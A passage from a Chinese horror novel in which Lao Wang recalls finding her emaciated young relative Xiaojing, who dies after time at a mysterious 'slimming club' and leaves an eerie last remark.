她当时心里隐隐有些奇怪,小静这么久都没回过家,为什么家里却没人关心过他的下落,仿佛已在不知不觉间遗忘了他的存在? 但这个念头仅在她脑中停留了一瞬便飞速消散了,取而代之的是强烈的“要赶快把他带回家”的想法。 她一向认为男人最重要的是温顺贤惠,外貌美丽些自然更好,可也不能过分沉迷于此。毕竟即便是挑选配子,她都不会选那些只懂得装扮自己的男人,更别说取他们回家了。 小静正是青春懵懂的年纪,喜欢打扮是正常的,可他为了减肥连家都不回,整天待在俱乐部里,显然已经超过了正常的范畴。 她作为长辈,不能眼睁睁看着家里的男孩误入歧途,于是在确定小静已经失联后,她当即与家人说了这件事,并在交接完手头的工作后立刻动身寻找。 考虑到她可能理解不了小男生的思维,劝不动他,老王还特地带上了家中两位长相只算清秀,但十分擅长家务的男人,打算让他们帮忙一起劝说。 谁知她接连在万安安给出的地址附近搜寻了几天,都没能看到他所说的“瘦身俱乐部”。正当她怀疑地址有误,打算扩大搜索范围时,却意外发现了偷偷跟来的小柔。 老王担心他独自在附近转悠会遇到危险,索性将他带在身边一起行动。而恰好就在那天,她终于见到了小静。 起初她并没察觉到那个瘦骨嶙峋的男生就是小静,还是小柔认出了他身上的衣服,老王才得以确定他的身份。 曾经腼腆乖巧的小静变得神情疲惫、精神恍惚,她叫了他好几遍,他才迟钝地抬起头,满脸呆滞地望向她。 跟随她一并前来的两个男人见状,都既惊讶又愤怒,纷纷询问小静那个瘦身俱乐部究竟在哪儿,表示要上门找组织者算账。 老王至今还记得,小静在听了这话后脸上露出的诡异笑容。 他咧开满是烂牙的嘴,嘶哑的声音里带着笑意:“你们已经来过俱乐部了呀。” 老王自认不是个胆小的人,却莫名因这句话而觉得毛骨悚然。她想要问清他话中的含义,小静却像是在说完话后彻底丧失了力气,身体软绵绵地倒了下去。 在那之后,他便一直处于昏迷之中。 她将他送往了医院,想要通过注射营养剂帮他恢复健康,谁知经过检查才发现,营养不良只是他身上最轻微的病症。 他的食道中居然塞满了仙男管等催吐工具,脏器严重衰竭,即便是最先进的医疗设备也无法阻止他走向死亡。 其他家人都以为他是因减肥过度而死,老王的心中却始终忘不掉小静说过的最后一句话—— “你们已经来过俱乐部了呀。” 她本能地觉得不安,因此在家里人执意要去俱乐部讨回公道时,她主动揽下了这桩差事。 临行前,她对母亲说出了寻找小静时遇到的怪事,并叮嘱她:“如果我之后也失联了,切记不要再来找我。” 如今看来,母亲的确履行了对她的承诺,劝服了家里人,没有让更多人过来送死。只可惜,她恐怕再也无法见到自己的母亲了。 曾与她一起寻找过小静的另外三人接连在不知不觉中出现在俱乐部,其中两人已然在她眼前死去。难道而今就连小柔也要死在她前面了吗? 老王的心头涌起伤感的情绪,然而就在这时,她蓦然听到了舞台上传来的声音。 那是小柔的声音。